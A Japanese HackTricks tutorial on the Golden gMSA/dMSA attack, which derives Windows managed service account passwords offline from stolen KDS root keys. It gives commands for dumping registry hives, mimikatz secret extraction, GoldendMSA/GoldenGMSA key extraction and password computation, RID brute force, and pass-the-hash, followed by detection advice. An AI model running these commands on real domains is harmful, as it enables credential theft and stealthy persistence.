Golden gMSA/dMSA攻撃(管理サービスアカウントパスワードのオフライン導出)

Reading time: 9 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

概要

Windows Managed Service Accounts (MSA) は、パスワードを手動で管理することなくサービスを実行するために設計された特別なプリンシパルです。 主に2つのバリエーションがあります:

  1. gMSA – グループ管理サービスアカウント – msDS-GroupMSAMembership 属性で承認された複数のホストで使用できます。
  2. dMSA – 委任管理サービスアカウント – gMSAの(プレビュー)後継で、同じ暗号技術に依存しながら、より細かい委任シナリオを可能にします。

両方のバリエーションにおいて、パスワードは通常のNTハッシュのように各ドメインコントローラー(DC)に保存されません。代わりに、各DCは以下から現在のパスワードを導出できます:

  • フォレスト全体のKDSルートキーKRBTGT\KDS) – ランダムに生成されたGUID名の秘密で、CN=Master Root Keys,CN=Group Key Distribution Service, CN=Services, CN=Configuration, … コンテナの下にあるすべてのDCに複製されます。
  • 対象アカウントのSID
  • msDS-ManagedPasswordId 属性に見つかるアカウントごとのManagedPasswordID(GUID)。

導出は次のようになります:AES256_HMAC( KDSRootKey , SID || ManagedPasswordID ) → 最終的にbase64エンコードされ、msDS-ManagedPassword 属性に保存される240バイトのブロブ。 通常のパスワード使用中はKerberosトラフィックやドメインの相互作用は必要なく、メンバーホストは3つの入力を知っている限り、ローカルでパスワードを導出します。

Golden gMSA / Golden dMSA攻撃

攻撃者がすべての3つの入力をオフラインで取得できれば、フォレスト内の任意のgMSA/dMSAのために有効な現在および将来のパスワードを計算でき、再度DCに触れることなく、以下を回避できます:

  • LDAP読み取り監査
  • パスワード変更間隔(事前に計算できます)

これはサービスアカウントのゴールデンチケットに類似しています。

前提条件

  1. 1つのDC(またはエンタープライズ管理者)のフォレストレベルの侵害、またはフォレスト内のDCの1つへのSYSTEMアクセス。
  2. サービスアカウントを列挙する能力(LDAP読み取り / RIDブルートフォース)。
  3. GoldenDMSA または同等のコードを実行するための.NET ≥ 4.7.2 x64ワークステーション。

Golden gMSA / dMSA

フェーズ1 – KDSルートキーの抽出

任意のDCからダンプ(ボリュームシャドウコピー / 生のSAM+SECURITYハイブまたはリモートシークレット):

cmd
reg save HKLM\SECURITY security.hive
reg save HKLM\SYSTEM  system.hive

# With mimikatz on the DC / offline
mimikatz # lsadump::secrets
mimikatz # lsadump::trust /patch   # shows KDS root keys too

# With GoldendMSA
GoldendMSA.exe kds --domain <domain name>   # query KDS root keys from a DC in the forest
GoldendMSA.exe kds

# With GoldenGMSA
GoldenGMSA.exe kdsinfo

RootKey(GUID名)とラベル付けされたbase64文字列は、後のステップで必要です。

フェーズ2 – gMSA / dMSAオブジェクトの列挙

少なくともsAMAccountNameobjectSid、およびmsDS-ManagedPasswordIdを取得します:

powershell
# Authenticated or anonymous depending on ACLs
Get-ADServiceAccount -Filter * -Properties msDS-ManagedPasswordId | \
Select sAMAccountName,objectSid,msDS-ManagedPasswordId

GoldenGMSA.exe gmsainfo

GoldenDMSA はヘルパーモードを実装しています:

powershell
# LDAP enumeration (kerberos / simple bind)
GoldendMSA.exe info -d example.local -m ldap

# RID brute force if anonymous binds are blocked
GoldendMSA.exe info -d example.local -m brute -r 5000 -u jdoe -p P@ssw0rd
フェーズ 3 – ManagedPasswordID を推測 / 発見する (欠落している場合)

一部のデプロイメントでは、msDS-ManagedPasswordId を ACL 保護された読み取りから 除去 します。
GUID は 128 ビットであるため、単純なブルートフォースは実行不可能ですが、次のことが言えます:

  1. 最初の 32 ビット = アカウント作成の Unix エポック時間 (分単位の解像度)。
  2. 続いて 96 ビットのランダムなビット。

したがって、アカウントごとの狭い単語リスト (± 数時間) は現実的です。

powershell
GoldendMSA.exe wordlist -s <SID> -d example.local -f example.local -k <KDSKeyGUID>

ツールは候補パスワードを計算し、それらのbase64ブロブを実際のmsDS-ManagedPassword属性と比較します – 一致が正しいGUIDを明らかにします。

フェーズ 4 – オフラインパスワード計算と変換

ManagedPasswordIDが知られると、有効なパスワードは1コマンドの距離にあります:

powershell
# derive base64 password
GoldendMSA.exe compute -s <SID> -k <KDSRootKey> -d example.local -m <ManagedPasswordID> -i <KDSRootKey ID>
GoldenGMSA.exe compute --sid <SID> --kdskey <KDSRootKey> --pwdid <ManagedPasswordID>

結果として得られるハッシュは、mimikatzsekurlsa::pth)やRubeusを使用してKerberosの悪用に注入でき、ステルスな横移動持続性を可能にします。

検出と緩和

  • DCバックアップおよびレジストリハイブの読み取り機能をTier-0管理者に制限します。
  • DCでのディレクトリサービス復元モード(DSRM)またはボリュームシャドウコピーの作成を監視します。
  • CN=Master Root Keys,…およびサービスアカウントのuserAccountControlフラグの読み取り/変更を監査します。
  • 異常なbase64パスワードの書き込みや、ホスト間での突然のサービスパスワードの再利用を検出します。
  • Tier-0の隔離が不可能な場合、高特権gMSAをクラシックサービスアカウントに変換し、定期的なランダムローテーションを検討します。

ツール

  • Semperis/GoldenDMSA – このページで使用される参照実装。
  • Semperis/GoldenGMSA – このページで使用される参照実装。
  • mimikatzlsadump::secretssekurlsa::pthkerberos::ptt
  • Rubeus – 派生AESキーを使用したパス・ザ・チケット。

参考文献

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする